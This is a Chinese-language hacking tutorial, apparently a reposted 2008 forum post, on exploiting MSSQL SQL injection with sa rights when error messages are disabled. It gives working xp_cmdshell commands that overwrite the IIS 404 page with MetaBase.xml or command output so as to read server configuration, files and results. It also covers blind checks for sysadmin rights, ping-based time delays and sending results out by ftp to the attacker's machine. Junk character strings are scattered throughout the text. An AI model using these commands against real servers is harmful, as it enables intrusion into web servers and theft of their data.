遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
5 t" `2 e, `1 y5 x% {& v' u0 i" q# _% Y7 q9 Y* `/ g6 T# G
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。& o" U$ ^4 m1 o
5 f& O8 K, C9 s: } R/ R2 x 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
5 j3 M+ z) Y1 _" q' S* ~: @" z5 R+ B9 G9 W9 h
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
; N# s' J: @& y$ o8 {. k7 f2 W
5 a. @' z2 Q1 N, g 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
# r/ ^( q0 N: C" w9 G W/ w% s" A3 k P4 U
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。9 `* N& Q8 _1 t! J( W0 V7 p
; m7 {. p, w1 Y+ ~ 执行命令得到回显6 m! @/ k" H" f3 p1 w/ |' T; J* N3 J
$ k* x: r$ K; M' O 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
* X- U ]- O1 }# G+ y1 H& @7 t) P' A! ^* ]" L3 j$ k
得到文件也shi相同,把文件copy到404b.htm就行了
0 Y* T4 _. s+ `! f. W6 Q$ v
5 B T* d2 {9 X1 c by 28ice, 2008/6/26
, y3 W; n* i. M, d, @& n% ^( Y: K) P/ b& b7 B7 m) H; {
摘自 28度的冰 [+ N1 n7 k9 _$ X* G
+ q- B) X: q: R/ y+ [
盲注判断权限和操作系统版本
7 b6 A2 u5 `( R: J$ y3 z. B3 @5 T0 z' ?
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
0 X- `% K& d0 G9 o0 t
/ g2 w3 V7 h' m5 b8 D3 f& b 最简单的,可能以用这样的方法:
! Z. `& b' g3 s9 ]4 L3 o9 A( r( J" t: S* }7 L
1=(select IS_SRVROLEMEMBER(’sysadmin’))& T; Z2 S7 ], B5 k, T
+ W* V5 `% _4 g2 P 当然,有些情况下,这个方法并不奏效。
) M9 Q* d: R4 a) u$ D, b: |# [# b, R8 v& }) p! K/ e1 B' L0 I
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。 n6 [4 a; Z7 F$ r2 t' t
5 q0 a; q( @: y& L" J7 ? 有个3办法可能以解决这个问题) r+ s% R8 Z: c/ `& H2 u3 R
$ K) W/ l8 ^( Q9 j L a.把执行结果写到404b.htm,具体请看我的上一篇文章1 O5 s0 c: B3 V1 o: J" g: q! a
) ~% U. i2 p0 }2 v. @& ~, c b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟2 u ]% J- L" S1 F3 S! y
9 }3 O+ {7 f2 R ^7 ] L& a
c.如果1433端口可能以连接,那干脆新建个sql登录
1 G9 ?3 |* o2 {+ ?& ?
+ e$ \- Q8 @6 ~) c: p* ] d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数3 P! {) _ t' h4 \
1 Z O6 Y- I4 e) H0 J
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下( W; ^3 i1 w. D2 A) V
6 p/ f0 |1 @0 s8 S
很简单
/ m3 ~; s) k' ?4 }4 x0 U, y* [( b" f' i
执行systeminfo
$ p# G# w Q$ b, P
) {5 @- U6 M6 B9 b4 v7 K 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |